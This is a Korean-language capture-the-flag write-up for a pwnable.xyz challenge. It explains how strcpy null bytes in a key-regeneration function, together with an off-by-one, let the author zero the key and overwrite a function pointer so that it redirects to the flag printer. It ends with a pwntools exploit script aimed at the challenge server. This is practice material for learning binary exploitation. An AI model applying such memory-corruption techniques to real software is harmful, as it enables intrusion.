꽤 단순하지는 않은 구조이다. 각 함수를 보면서 취약점을 찾아보자.
먼저 main 함수는 generate_key 함수를 실행 후, 숫자를 받아서 1이면 generate_key 함수를 실행하고, 2이면 load_flag 함수를 실행하고, 3이면 print_flag 함수를 실행한다.
generate_key 함수는 a1이라는 매개변수를 받아 1 이상 64 이하인지 체크후, 그만큼 key를 재생성한다. 즉, 원래 key가 64바이트고, a1으로 48을 주면 처음 48자리가 다시 랜덤으로 바뀌고, 그 뒤 16바이트는 전에 생성한 그대로 남아있다.
사실 여기까지만 보고 취약점이 어디있지라고 생각했는데 뒤에 디버깅을 하면서 취약점을 알게 되었다.
load_flag 함수는 /flag 파일을 열어 64바이트만큼 읽어오고 key와 XOR 연산을 한다. 로컬에는 /flag라는 파일을 만들어서 진행하였다.
print_flag는 보고 확 와닿지가 않았다. do_comment의 첫번째 byte가 0이면 if문을 실행하는데 이는 디버깅을 하면서 살펴보자.
How to Exploit
이 문제에 취약점은 generate_key 함수에 하나, print_flag 함수에 하나씩 있다.
Weakness
generate_key()
main함수 실행 후 key를 보면 다음과 같이 난수가 되어 있다.
0x555555756040 <key>: 0xa37eaf6d9a77fdfd 0x4b4d9331dd378f1d
0x555555756050 <key+16>: 0x8f0a821ae3577647 0x869255f7c762a8fa
0x555555756060 <key+32>: 0x2444f75654dcf5f7 0x8d0fd90609f4e1e6
0x555555756070 <key+48>: 0x09e61c9d861df2f2 0x00b53aa99418beff
그래서 그냥 generate_key 함수를 다시 실행할 때 매개변수로 1을 줘보았다.
0x555555756040 <key>: 0xa37eaf6d9a77000c 0x4b4d9331dd378f1d
0x555555756050 <key+16>: 0x8f0a821ae3577647 0x869255f7c762a8fa
0x555555756060 <key+32>: 0x2444f75654dcf5f7 0x8d0fd90609f4e1e6
0x555555756070 <key+48>: 0x09e61c9d861df2f2 0x00b53aa99418beff
전의 값과 비교를 해보면 1, 2번째 값이 바뀌었다. 근데 어? 2번째 값이 00이 된다. strcpy를 할 때 문자열 끝에 있는 null까지 복사해서 그런가보다. 인자를 주었을 때 key의 그 상위 바이트는 변하지 않고 기존 key의 값과 같다는 것을 이용하여 주소가 큰 값부터 null로 바꾸면 첫번째 바이트를 제외하고 모두 null로 바꿀 수 있다.
그 후에 load_flag 함수를 하면 /flag 값이 첫 바이트를 제외하고 그대로 메모리의 flag에 들어가게 된다. 그런데 첫 바이트는 무조건 flag의 f일테니 상관없다.
print_flag()
사실 이 함수는 잘 감이 안와서 디버깅해보았다. if문을 실행하고 난 뒤에 do_comment에 들어있는 값이다.
0x555555756080 <do_comment>: 0x0000555555554b1f
주소값 같은 게 들어가 있고 확인해보니 f_do_comment의 함수값이다.
또한 do_comment의 값을 그대로 call하기 때문에 do_comment의 값을 변조하여 우리가 원하는 주소로 옮길 수 있다.
real_print_flag()
이 함수는 실제로 flag를 %s
로 출력해준다. 이 함수는 b00
에 있기 때문에 do_comment의 첫번째 바이트만 0으로 바꿔주면 일로 이동할 수 있다. 어? generate_key 함수에서 64를 입력하면 65번째에는 do_comment의 첫번째 바이트가 있기 때문에 이 값이 0이 된다.
Exploit Code
from pwn import *
#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30006)
p.sendlineafter('> ', '3')
p.sendlineafter('? ', 'y')
i = 64
while i >= 1:
print(i)
p.sendlineafter('> ', '1')
p.sendlineafter('len: ', str(i))
i -= 1
p.sendlineafter('> ', '2')
p.sendlineafter('> ', '3')
p.sendlineafter('? ', 'n')
print(p.recv(1024))
Capture The Flag
'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글
Two Targets - 2 (0) | 2020.03.07 |
---|---|
Two Targets - 1 (0) | 2020.03.07 |
Sub (0) | 2020.03.07 |
Note (0) | 2020.03.07 |
Misalignment (0) | 2020.03.07 |